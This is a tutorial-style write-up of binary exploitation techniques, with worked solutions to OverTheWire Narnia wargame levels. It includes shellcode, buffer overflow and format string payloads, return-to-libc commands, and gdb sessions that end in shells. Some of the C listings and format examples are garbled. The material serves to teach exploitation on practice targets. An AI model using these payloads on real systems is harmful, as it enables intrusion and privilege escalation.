Learning from the CTF : Binary Exploitation

This post (Work in Progress) lists the tips and tricks while doing Binary Exploitation challenges during various CTF’s and Over The Wire Wargame.

Thanks to superkojiman, barrebas, et0x who helped me learning the concepts.


Let’s start with some basic concepts and then we would see some examples which would help to clear the concepts.

  • Big-endian systems store the most significant byte of a word in the smallest address and the least significant byte is stored in the largest address. Little-endian systems, in contrast, store the least significant byte in the smallest address. {% img left /images/big-endian.png 250 250 %} {% img right /images/little-endian.png 250 250 %}
  • When you get a binary for exploitation, we need to find whether it is 32-bit or 64-bit ELF, which platform it is running, whether any buffer overflow prevention techniques has been used, what is EIP offset.
  • Executable binary is running on whether x86 or x86-64.
uname -a
  • Whether the binary is compiled for 32 bit or 64 bit.
file binary_file
  • Multiple Buffer overflow prevention techniques such as RELRO, NoExecute (NX), Stack Canaries, Address Space Layout Randomization (ASLR) and Position Independent Executables (PIE).
Address space Layout Randomization     : Kernel
Executable Stack Protection            : Compiler
Stack smashing protection              : Compiler
Position Independent Executables       : Compiler
Fortify Source                         : Compiler
Stack Protector                        : Compiler
  • Which buffer overflow prevention techniques are used can be found by running Checksec Script. This script is present in gdb-peda.
  • Whether the stack of binary is executable is not can be found by readelf tool. If Program header GNU_STACK has RWE flag, if it has E flag, it’s executable.
narnia8@melinda:~$ readelf -l /narnia/narnia8 | grep GNU_STACK
GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

In order to make the stack executable, the program needs to be compiled with -z execstack option and to disable stack smashing option -fno-stack-protector should be used.

gcc -ggdb -m32 -fno-stack-protector -z execstack -o buffer1 buffer1.c
  • Address Space Layout Randomization (ASLR) controlled by /proc/sys/kernel/randomize_va_space.
Three Values:
0  : Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter.
1  : Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment.
2  : Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.

You can change the setting temporarily by writing a new value to /proc/sys/kernel/randomize_va_space, for example:

echo value > /proc/sys/kernel/randomize_va_space

To change the value permanently, add the setting to /etc/sysctl.conf, for example:

kernel.randomize_va_space = value
and run the sysctl -p command.

If you change the value of randomize_va_space, you should test your application stack to ensure that it is compatible with the new setting. If necessary, you can disable ASLR for a specific program and its child processes by using the following command:

% setarch `uname -m` -R program [args ...]
  • To know the EIP offset, you can use cyclic patterns. Use pattern_create.rb to create a random pattern which can be used to find the offset and pattern_offset.rb to find the exact offset.
/usr/share/metasploit-framework/tools/pattern_create.rb 200

/usr/share/metasploit-framework/tools/pattern_offset.rb 0x37654136
[*] Exact match at offset 140
  • Sometimes, you need to know the address of the variable, inorder to write arbitary value in to it.
run gdb <program> p &<variablename>

Buffer overflow

  • Either you can put the shellcode on the buffer and then redirect the EIP to NOP Sled followed by the shellcode (provided the shellcode used is correct and the stack is executable).
  • However, if the stack is not executable or the shellcode is not working (happens sometimes), then we can either,
  • Export a environment variable with shellcode, find the address of env variable in the stack and then set the return address to starting of the shellcode and get a shell
  • Use return2libc which is a type of ROP: find the address of system function, find the address of “/bin/sh” in the stack and execute it like system(“/bin/sh”). It is in the format of
<ADDRofSYSTEM> <4ArbitraryBytes for Return Address> <argument for system[/bin/sh]>

4Arbitrary Bytes for Return address could be a JUNK address or “\xCC\xCC\xCC\xCC” or address of exit function.

If set to

  • \xCC\xCC\xCC\xCC so after system executes, it tries to return to 0xcccccccc. \xcc is good just to check if you’re actually jumping to your shellcode, but once you’ve verified that it works, then you should remove it.
  • If a JUNK address is put, the binary will have already executed the shellcode but it will segfault.
  • If the proper address of exit() is used, binary will exit cleanly.

It’s better to use /bin/sh instead of /bin/bash since bash drops privs. If /bin/bash is used, it will launch /bin/bash but you’ll find that you haven’t elevated your privileges and this can get confusing. so either find another string that points to /bin/sh or set your own env variable like DASH=/bin/sh and reference that. Good paper to review is Bypassing non-executable-stack during Exploitation (return-to-libc).

  • Sometimes you need to put a cat to keep the shell alive

    (cat input; cat) | ./binary input is the payload you are sending.
  • Sometimes we need a shellcode to write a string or for getting a actual shell. A good reference can be found @Introduction to Writing Shellcode. Information about various system call integar value need to be present in EAX register is here Linux System Call Table.

Let’s see a small example where we move an address to eax register and jump to it. Address which we are moving to eax would contain our shellcode.

[SECTION .text]
global _start
        mov eax, 0xffffd8bc
      jmp eax

Just good to know: global directive is NASM specific. It is for exporting symbols in your code to where it points in the object code generated. Here you mark _start symbol global so its name is added in the object code (a.o). The linker (ld) can read that symbol in the object code and its value so it knows where to mark as an entry point in the output executable. When you run the executable it starts at where marked as _start in the code.

If a global directive missing for a symbol that symbol will not be placed in the object code’s export table so linker has no way of knowing about the symbol. We can compile the asm file by

nasm -f elf test.asm

link it

ld -o test test.o

If you get the below error

ld: i386 architecture of input file `test.o' is incompatible with i386:x86-64 output


Use 64 bits instead of 32 for your loader and compile it with the following command:

nasm -f elf64 loader.asm -o loader.o


If want compile the file as 32 bits composition, you can use:

ld -m elf_i386 -s -o file.o file

To see the byte code

objdump -d <file>
  • What we mostly do when exploiting a buffer overflow (when placing the shellcode on stack) is we place our shellcode before EIP, we should also check if we can put our shellcode after EIP. This is particularly useful when some kind of check for shellcode is present in address before EIP. Example: Suppose our EIP is present at offset 80. We would usually do
python -c 'print "\x90"*50 + "30 Bytes of ShellCode" + "4 Bytes return address to NOP or shellcode in left"'

However, if somekind of check for alphanumeric characters is present for first 80 bytes you won’t be able to put your shellcode in those 80 bytes. At that point of time you should check if you can overflow post EIP and redirect. For example

python -c 'print "A"*80 + "4 Bytes return address to NOP or shellcode in right" + "\x90"*50 + "30 Bytes of ShellCode"'

Format String Vulnerability

  • Definition: If an attacker is able to provide the format string to an ANSI C format function in part or as a whole, a format string vulnerability is present. By doing so, the behaviour of the format function is changed, and the attacker may get control over the target application. A format string is an ASCIIZ string that contains text and format parameters. Example:
printf ("The magic number is: %d\n", 1911);
  • The behaviour of the format function is controlled by the format string. The function retrieves the parameters requested by the format string from the stack.
printf ("Number %d has no address, number %d has: %08x\n", i, a, &a);

From within the printf function the stack looks like:

stack top
. . .
. . .
stack bottom
  • Crashing the Program: By utilizing format strings we can easily trigger some invalid pointer access by just supplying a format string like:
printf ("%s%s%s%s%s%s%s%s%s%s%s%s");

Because ‘%s’ displays memory from an address that is supplied on the stack, where a lot of other data is stored, too, our chances are high to read from an illegal address, which is not mapped.

  • Viewing the stack: how some parts of the stack memory by using a format string like this:
printf ("%08x.%08x.%08x.%08x.%08x\n");

This works, because we instruct the printf-function to retrieve five parameters from the stack and display them as 8-digit padded hexadecimal numbers. So a possible output may look like:


This is a partial dump of the stack memory, starting from the current bottom upward to the top of the stack — assuming the stack grows towards the low addresses.

  • Viewing Memory at any location: We can look at memory locations different from the stack memory by providing an address to the format string.

Our format string is usually located on the stack itself, so we already have near to full control over the space, where the format string lies. The format function internally maintains a pointer to the stack location of the current format parameter. If we would be able to get this pointer pointing into a memory space we can control, we can supply an address to the ‘%s’ parameter. To modify the stack pointer we can simply use dummy parameters that will ‘dig’ up the stack by printing junk:

printf ("AAA0AAA1_%08x.%08x.%08x.%08x.%08x");

The ‘%08x’ parameters increase the internal stack pointer of the format function towards the top of the stack. After more or less of this increasing parameters the stack pointer points into our memory: the format string itself. The format function always maintains the lowest stack frame, so if our buffer lies on the stack at all, it lies above the current stack pointer for sure. If we choose the number of ‘%08x’ parameters correctly, we could just display memory from an arbitrary address, by appending ‘%s’ to our string. In our case the address is illegal and would be ‘AAA0’. Lets replace it with a real one. Example:

address = 0x08480110
address (encoded as 32 bit le string): "\x10\x01\x48\x08"
printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|");

Will dump memory from 0x08480110 until a NUL byte is reached. If we cannot reach the exact format string boundary by using 4-Byte pops (‘%08x’), we have to pad the format string, by prepending one, two or three junk characters. 3 This is analog to the alignment in buffer overflow exploits.

  • Overwriting of Arbitrary Memory: There is the ‘%n’ parameter, which writes the number of bytes already printed, into a variable of our choice. The address of the variable is given to the format function by placing an integer pointer as parameter onto the stack. But if we supply a correct mapped and writeable address this works and we overwrite four bytes (sizeof (int)) at the address:

The format string above will overwrite four bytes at 0xbfffc8c0 with a small integer number. We have reached one of our goals: we can write to arbitrary addresses. By using a dummy parameter ‘%nu’ we are able to control the counter written by ‘%n’, at least a bit.

  • Direct Parameter Access: The direct parameter access is controlled by the ‘$’ qualifier
printf ("%6`\ d:raw-latex:`\n`", 6, 5, 4,3, 2, 1);

Prints ‘1’, because the ‘6$’ explicitly addresses the 6th parameter on the stack.

  • We can write two bytes by %hn and one byte by %hhn.
  • How to write four bytes? Suppose we need to write 0x8048706 to the address 0xffffd64c.
HOB:0x0804 LOB:0x8706


[addr+2][addr] = \x4e\xd\xff\xff\x4c\xd\xff\xff
%.[HOB - 8]x = 0x804 - 8 = 7FC (2044) = %.2044x
%[offset]$hn = %6\$hn
%.[LOB - HOB]x = 0x8706 - 0x804 = 7F02 (32514) = %.32514x
%[offset+1]`\ hn = %7$hn

python -c 'print "\x4e\xd6\xff\xff\x4c\xd6\xff\xff" +"%.2044x%6\$hn %.32514x%7\$hn"'
  • Hijack the Global Offset Table with pointers:
  • Whatis: The Global Offset Table redirects position independent address calculations to an absolute location and is located in the .got section of an ELF executable or shared object. It stores the final (absolute) location of a function calls symbol, used in dynamically linked code. When a program requests to use printf() for instance, after the rtld locates the symbol, the location is then relocated in the GOT and allows for the executable via the Procedure Linkage Table, to directly access the symbols location.
  • when you disassemble main and printf statement is present, you will get like
0x080484b9 <+60>: call 0x8048330 printf@plt <----PLT

if you further disassemble printf

gdb-peda$ pdisass printf
Dump of assembler code for function printf@plt:
    0x08048330 <+0>: jmp DWORD PTR ds:0x8049788 <----GOT Address
    0x08048336 <+6>: push 0x0
    0x0804833b <+11>: jmp 0x8048320 End of assembler dump.

Further disassembling the address 0x8049788

gdb-peda$ pdisass 0x8049788
Dump of assembler code from 0x8049788 to 0x80497a8:
  0x08049788 <printf@got.plt+0>:   add    DWORD PTR ss:[eax+ecx*1],0x46
  0x0804978d <fgets@got.plt+1>:    add    DWORD PTR [eax+ecx*1],0x56
  0x08049791 <puts@got.plt+1>: add    DWORD PTR [eax+ecx*1],0x66
  0x08049795 <__gmon_start__@got.plt+1>:   add    DWORD PTR [eax+ecx*1],0x76
  0x08049799 <__libc_start_main@got.plt+1>:    add    DWORD PTR [eax+ecx*1],0x0
  0x0804979d <data_start+1>:   add    BYTE PTR [eax],al
  0x0804979f <data_start+3>:   add    BYTE PTR [eax],al
  0x080497a1 <__dso_handle+1>: add    BYTE PTR [eax],al
  0x080497a3 <__dso_handle+3>: add    BYTE PTR [eax],al
  0x080497a5 <stdin@@GLIBC_2.0+1>: add    BYTE PTR [eax],al
  0x080497a7 <stdin@@GLIBC_2.0+3>: add    BYTE PTR [eax],al
End of assembler dump.

Objdump reflects the same (notice the +1) GOT address:

objdump --dynamic-reloc ./behemoth3

./behemoth3:     file format elf32-i386

OFFSET   TYPE              VALUE
08049778 R_386_GLOB_DAT    __gmon_start__
080497a4 R_386_COPY        stdin
08049788 R_386_JUMP_SLOT   printf
0804978c R_386_JUMP_SLOT   fgets
08049790 R_386_JUMP_SLOT   puts
08049794 R_386_JUMP_SLOT   __gmon_start__
08049798 R_386_JUMP_SLOT   __libc_start_main

Quick diagram what it looks like:

So a quick diagram of what happens looks kind’a like this:

[printf()] <--------------------------------
   |                                       |
   --------------> [PLT]--->[d_r_resolve]--|
                     |           |         |
                                 |               |
  • A good paper to read about and from where the definition and diagram is taken is How to Hijack the Global Offset Table with pointers

Buffer Overflow Examples

  • Let’s see a simple example of binary exploitation Narnia0 where we have to write a written value.
#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    else {
        printf("WAY OFF!!!!\n");

    return 0;

In this example, value of variable val can be overwritten by overflowing buf. Another small observation is scanf function scans 24 characters. If you directly write 20 “A” and the address it won’t work as the val doesn’t matches. So, we have to use python print command. If we use

python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0

you will see that the value would match but the shell is exited. To keep the shell active, we need to use cat as shown below:

(python -c 'print "A"*20 + "\xef\xbe\xad\xde"';cat) | ./narnia0
  • In another example below Narnia1
#include <stdio.h>

int main(){
    int (*ret)();

        printf("Give me something to execute at the env-variable EGG\n");

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");

    return 0;

We need to set a environment variable EGG with an shellcode. Previously, I tried with

export EGG="\bin\sh"
export EGG="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

Shellcode were taken from the Shellstorm website. However, both failed with Segmentation fault. superkojiman, barrebas helped me with and told that if I write

export EGG=`python -c 'print "\xCC"'`

It should sigtrap. “xCC” acts as a software breakpoint, basically an INT3, It tells you whether your shellcode is stored properly & executed, if the program receives SIGTRAP, you know you’re good to go, and it’s a good way to make sure you’ve properly redirected execution to your shellcode. You can further put “xCC” anywhere in the shellcode, if it crashes before “xCC”, you know for sure that your shellcode has bad characters. They suggested to export the EGG variable as

export EGG=`python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"'`

and it worked like a charm.

  • In another example Narnia2
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
    printf("%s", buf);

    return 0;

It’s to easy that buffer overflow vulnerability exists because of strcpy. Let’s see what is the offset for this.

ulimit -c unlimited
./narnia2 `/usr/share/metasploit-framework/tools/pattern_create.rb 200`
Segmentation fault (core dumped)

gdb -q -c core ./narnia2
#0  0x37654136 in ?? ()

/usr/share/metasploit-framework/tools/pattern_offset.rb 0x37654136
[*] Exact match at offset 140
narnia2@melinda:~$ gdb -q /narnia/narnia2
(gdb) disassemble main
Dump of assembler code for function main:
   0x080484a0 <+67>:    mov    %eax,(%esp)
   0x080484a3 <+70>:    call   0x8048320 <strcpy@plt>
End of assembler dump.
(gdb) br *main+70
Breakpoint 1 at 0x80484a3
(gdb) run `python -c 'print "A"*140 + "BBBB"'`
Starting program: /games/narnia/narnia2 `python -c 'print "A"*140 + "BBBB"'`

Breakpoint 1, 0x080484a3 in main ()
(gdb) n
0x42424242 in ?? ()

Let’s see the stack after the strcpy, which would tell us the probable address we want to redirect execution.

(gdb) x/80xw $esp+400
0xffffd7e0: 0x0000000f  0xffffd80b  0x00000000  0x00000000
0xffffd7f0: 0x00000000  0x00000000  0x1d000000  0xa9c79d1b
0xffffd800: 0xe1a67367  0xc19fc850  0x6996cde4  0x00363836
0xffffd810: 0x2f000000  0x656d6167  0x616e2f73  0x61696e72
0xffffd820: 0x72616e2f  0x3261696e  0x41414100  0x41414141
0xffffd830: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd840: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd850: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd860: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd870: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd880: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd890: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd8a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd8b0: 0x41414141  0x42424241  0x44580042  0x45535f47
0xffffd8c0: 0x4f495353  0x44495f4e  0x3939383d  0x53003733

Let pick a shellcode from shellstorm for a Linux x86 execuve /bin/sh and calculate the number of NOPs

narnia2@melinda:~$ python -c 'print len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")'
narnia2@melinda:~$ bc
narnia2@melinda:~$ /narnia/narnia2 `python -c 'print "\x90"*117 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x50\xd8\xff\xff"'`
$ cat /etc/narnia_pass/narnia3
  • In another example Narnia3
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];

        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);

        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);

        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

        /* close 'em */


Superkojiman notes explain this best, copied here with permission, thanks superkojiman :)

narnia3@melissa:/narnia$ ./narnia3 /etc/motd
copied contents of /etc/motd to a safer place... (/dev/null)

We can use this program to read the contents of /etc/narnia_pass/narnia4, but the output is written to /dev/null. We control the input file and the output file is set as /dev/null. However, because of the way the stack is laid out, we can write past the ifile buffer and overwrite the value of ofile. This lets us replace /dev/null with another file of our choosing. Here’s what the stack looks like:

|  ret    |
|  sfp    |
|  ofd    |
|  ifd    |
|  ofile  |
|  ifile  |
|  buf    |
+---------+ <- esp

ifile and ofile are 32-byte arrays. We can compile the program with -ggdb and examine it in gdb

# gcc -ggdb -m32 -fno-stack-protector -Wl,-z,norelro narnia3.c -o narnia3
# gdb -q narnia3

If we disas main, we can see that strcpy is called at *main+100:

0x08048551 <+93>:    lea    0x38(%esp),%eax
0x08048555 <+97>:    mov    %eax,(%esp)
0x08048558 <+100>:   call   0x8048400 <strcpy@plt>
0x0804855d <+105>:   movl   $0x2,0x4(%esp)
0x08048565 <+113>:   lea    0x58(%esp),%eax
0x08048569 <+117>:   mov    %eax,(%esp)

We set a breakpoint there and run the program with the following arguments:

(gdb) r `python -c 'print "A"*32 + "/tmp/hack"'`
Starting program: /root/wargames/narnia/3/narnia3 `python -c 'print "A"*32 + "/tmp/hack"'`

Breakpoint 1, 0x08048558 in main (argc=2, argv=0xbffff954) at narnia3.c:37
37          strcpy(ifile, argv[1]);

At the first breakpoint, we examine the local variables

(gdb) i locals
ifd = 134514299
ofd = -1208180748
ofile = "/dev/null\000\000\000\000\000\000"
ifile = "x\370\377\277\234\203\004\b\200\020\377\267\214\230\004\b\250\370\377\277\211\206\004\b$\243\374\267\364\237", <incomplete sequence \374\267>
buf = "\370\370\377\267\364\237\374\267\371\234\367\267\245B\352\267h\370\377\277չ\350\267\364\237\374\267\214\230\004\b"

ofile is set to /dev/null as expected. We’ll step to the next instruction and check again.

 (gdb) s
 38          if((ofd = open(ofile,O_RDWR)) < 0 ){
 (gdb) i locals
 ifd = 134514299
 ofd = -1208180748
 ofile = "/tmp/hack\000\000\000\000\000\000"
 ifile = 'A' <repeats 32 times>
 buf = "\370\370\377\267\364\237\374\267\371\234\367\267\245B\352\267h\370\377\277չ\350\267\364\237\374\267\214\230\004\b"

As expected, ofile has been overwritten to /tmp/hack. However ifile is now AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/hack so in order to read /etc/narnia_pass/narnia4, we need to create a directory AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp and symlink /etc/narnia_pass/narnia4 to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/hack
narnia3@melissa:/tmp/skojiman3$ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp
narnia3@melissa:/tmp/skojiman3$ ln -s /etc/narnia_pass/narnia4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/hack

Next we need to create the output file /tmp/hack that ofile points to

narnia3@melissa:/tmp/skojiman3$ touch /tmp/hack
narnia3@melissa:/tmp/skojiman3$ chmod 666 /tmp/hack
narnia3@melissa:/tmp/skojiman3$ ls -l /tmp/hack
-rw-rw-rw- 1 narnia3 narnia3 0 2012-11-24 22:58 /tmp/hack

Finally, execute /narnia/narnia3 as follows:

narnia3@melissa:/tmp/skojiman3$ /narnia/narnia3 `python -c 'print "A"*32 + "/tmp/hack"'`
copied contents of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/hack to a safer place... (/tmp/hack)
narnia3@melissa:/tmp/skojiman3$ cat /tmp/hack
  • Let’s see another example Narnia6.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"

int main(int argc, char *argv[]){
    char b1[8], b2[8];
    int  (*fp)(char *)=(int(*)(char *))&puts, i;

    if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

    /* clear environ */
    for(i=0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));
    /* clear argz    */
    for(i=3; argv[i] != NULL; i++)
        memset(argv[i], '\0', strlen(argv[i]));

    //if(((unsigned long)fp & 0xff000000) == 0xff000000)
    if(((unsigned long)fp & 0xff000000) == get_sp())


Stack is not executable for this binary. This binary is an example of “return-to-libc” attack is a computer security attack usually starting with a buffer overflow in which a subroutine return address on a call stack is replaced by an address of a subroutine that is already present in the process’ executable memory, rendering the NX bit feature useless (if present) and ridding the attacker of the need to inject their own code.

gdb -q narnia6
Reading symbols from /home/bitvijays/narnia6...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Let’s compile the source on the local and check what happens:

gcc -m32 -ggdb -fno-stack-protector -Wall narnia6.c -o narnia61

If you see carefully, we passed A8 + BBBB + ” ” + “C”8 + DDDD, which resulted in

gdb -q ./narnia61
gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x080486d2 <+330>:   call   0x8048450 <exit@plt>
   0x080486d7 <+335>:   lea    eax,[esp+0x20]
   0x080486db <+339>:   mov    DWORD PTR [esp],eax
   0x080486de <+342>:   mov    eax,DWORD PTR [esp+0x28]
   0x080486e2 <+346>:   call   eax
   0x080486e4 <+348>:   mov    DWORD PTR [esp],0x1
   0x080486eb <+355>:   call   0x8048450 <exit@plt>
End of assembler dump.
gdb-peda$ br *main+346
Breakpoint 1 at 0x80486e2: file narnia6.c, line 48.
gdb-peda$ run `python -c 'print "A"*8 + "BBBB" + " " + "C"*8 + "DDDD"'`
   0x80486d7 <main+335>:    lea    eax,[esp+0x20]
   0x80486db <main+339>:    mov    DWORD PTR [esp],eax
   0x80486de <main+342>:    mov    eax,DWORD PTR [esp+0x28]
=> 0x80486e2 <main+346>:    call   eax
   0x80486e4 <main+348>:    mov    DWORD PTR [esp],0x1
   0x80486eb <main+355>:    call   0x8048450 <exit@plt>
   0x80486f0 <__libc_csu_fini>: push   ebp
   0x80486f1 <__libc_csu_fini+1>:   mov    ebp,esp
Guessed arguments:
arg[0]: 0xffffd380 ("DDDD")
Breakpoint 1, 0x080486e2 in main (argc=0x3, argv=0xffffd444) at narnia6.c:48
48      fp(b1);
gdb-peda$ p b1
$1 = "DDDD\000AAA"
gdb-peda$ p b2
gdb-peda$ p puts
$3 = {<text variable, no debug info>} 0xf7eb3360 <puts>
gdb-peda$ p system
$4 = {<text variable, no debug info>} 0xf7e8bc30 <system>
gdb-peda$ p &b1
$5 = (char (*)[8]) 0xffffd380
gdb-peda$ x/50xw 0xffffd350
0xffffd360: 0xffffd380  0xffffd5df  0x0000003b  0x0804874b
0xffffd370: 0x00000003  0xffffd444  0x43434343  0x43434343
0xffffd380: 0x44444444  0x41414100  0x42424242  0x00000000
0xffffd390: 0x08048700  0xf7fb0ff4  0xffffd418  0xf7e66e46
0xffffd3a0: 0x00000003  0xffffd444  0xffffd454  0xf7fde860
gdb-peda$ p fp
$6 = (int (*)(char *)) 0x42424242
gdb-peda$ p &fp
$7 = (int (**)(char *)) 0xffffd388
gdb-peda$ p $fp
$8 = (void *) 0xffffd398

The address of fp “p &fp” is 0xffffd3888 which has a value of (“p fp”) 0x42424242. As previously the stack is NoteXecutable, but stdlib.h is included in the C Program. Stdlib.h includes system call which has an address of (“p system”) 0xf7e8bc30. Further DDDD overwrites AAAA with the Null byte.

narnia6@melinda:/narnia$ ./narnia6 `python -c 'print "A"*8 + "\x40\x1c\xe6\xf7" + " " + "C"*8 + "/bin/sh"'`
$ cat /etc/narnia_pass/narnia7
  • Let’s see another example where we have to use a environment variable to invoke a shell Narnia8.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global unti i find a fix
// -morla
int i;

void func(char *b){
    char *blah=b;
    char bok[20];
    //int i=0;

    memset(bok, '\0', sizeof(bok));
    for(i=0; blah[i] != '\0'; i++)


int main(int argc, char **argv){

    if(argc > 1)
    printf("%s argument\n", argv[0]);

    return 0;

Let’s see what is happening here: for loop in function func copies data from blah to bok character array until a null character is found. Let’s see how the stack would look like

<bok character array><blah pointer><fp><ret><pointer b>

Let’s confirm this by using gdb? We put an breakpoint on printf function in the func function.

0xffffd670: 0x08048580  0xffffd688  0x00000014  0xf7e54f53
0xffffd680: 0x00000000  0x00ca0000  0x41414141  0x41414141
0xffffd690: 0x41414141  0x41414141  0x00414141  0xffffd8b1
0xffffd6a0: 0x00000002  0xffffd764  0xffffd6c8  0x080484cd
0xffffd6b0: 0xffffd8b1  0xf7ffd000  0x080484fb  0xf7fca000

Address 0xffffd689 marks the start of the character buffer bok. I entered 19 A so it’s 0x41 19 times followed by null 0x00. Followed by that is 0xffffd8b1 (Value of Blah pointer). Followed by fp 12 bytes <0x00000002 0xffffd764 0xffffd6c8>. Followed by 0x080484cd which is the return address

(gdb) x/s 0x080484cd
0x80484cd <main+31>:    "\353\025\213E\f\213"

followed by pointer b (0xffffd8b1). Let’s see what’s at location 0xffffd8b1

(gdb) x/20wx 0xffffd8b1
0xffffd8b1: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd8c1: 0x00414141  0x5f474458  0x53534553  0x5f4e4f49

Let’s see what happens when we try to enter more than the 19 character (buffer size of bok - 1 byte (for null character))

narnia8@melinda:/narnia$ ./narnia8 `python -c 'print "A"*20'`
narnia8@melinda:/narnia$ ./narnia8 `python -c 'print "A"*20'` | hexdump
0000000 4141 4141 4141 4141 4141 4141 4141 4141
0000010 4141 4141 d8bf ffff 0a02

As expected, we get A followed by some garbage. which is the address where blah is pointing. We know that we can overwrite the RET address by

# `python -c 'print "A"*20 + "\x90\x90\x90\x90" + "A"*12 + "BBBB"'`

Let’s see what happens when we do this. After copying 20 A it copies x90 and makes blah pointer from 0xffffd8bf to 0xffffd890. Because of the for loop

for(i=0; blah[i] != '\0'; i++)

It now copies the character from 0xffffd890 reference i.e 0xffffd890 + i value. Suppose it copied the character 0x41. The address becomes 0xffff4190 and now for loop searches from that address until a null character is found.

(gdb) x/20xw $esp
0xffffd660: 0xffffd678  0x00000000  0x00000014  0xf7e54f53
0xffffd670: 0x00000000  0x00ca0000  0x41414141  0x41414141
0xffffd680: 0x41414141  0x41414141  0x41414141  0xffffd890
0xffffd690: 0x00000002  0xffffd754  0xffffd6b8  0x080484cd
0xffffd6a0: 0xffffd89c  0xf7ffd000  0x080484fb  0xf7fca000

(gdb) x/10xw 0xffffd890
0xffffd890: 0x2f61696e  0x6e72616e  0x00386169  0x41414141
0xffffd8a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd8b0: 0x90909090  0x41414141

(gdb) x/20xw $esp
0xffffd660: 0x08048580  0xffffd678  0x00000014  0xf7e54f53
0xffffd670: 0x00000000  0x00ca0000  0x41414141  0x41414141
0xffffd680: 0x41414141  0x41414141  0x41414141  0xffff4190
0xffffd690: 0x00000002  0xffffd754  0xffffd6b8  0x080484cd
0xffffd6a0: 0xffffd89c  0xf7ffd000  0x080484fb  0xf7fca000

(gdb) x/10xw 0xffff4190
0xffff4190: 0x00000000  0x00000000  0x00000000  0x00000000
0xffff41a0: 0x00000000  0x00000000  0x00000000  0x00000000
0xffff41b0: 0x00000000  0x00000000

If we can somehow keep/change the blah pointer back to it’s original value we may overwrite the RET pointer (after 12 bytes). Let’s see how 0xffffd89c looks when is used

`python -c 'print "A"*20 + "\x90\x90\x90\x90" + "A"*12 + "BBBB"'`
(gdb) x/30xw 0xffffd89c
0xffffd89c: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd8ac: 0x41414141  0x90909090  0x41414141  0x41414141
0xffffd8bc: 0x41414141  0x42424242  0x47445800  0x5345535f

When we used the below with the address, we were able to overwrite the RET by BBBB. Now, we control the EIP :)

(gdb) run `python -c 'print "A"*20 + "\x9c\xd8\xff\xff" + "A"*12 + "BBBB"'`

(gdb) x/20xw $esp
0xffffd660: 0x08048580  0xffffd678  0x00000014  0xf7e54f53
0xffffd670: 0x00000000  0x00ca0000  0x41414141  0x41414141
0xffffd680: 0x41414141  0x41414141  0x41414141  0xffffd89c
0xffffd690: 0x41414141  0x41414141  0x41414141  0x42424242

Let’s export a shellcode using a environment variable check it’s address on the stack and redirect the flow of our code to it. Notice the number of NOPs we have put for easy identification plus reachability.

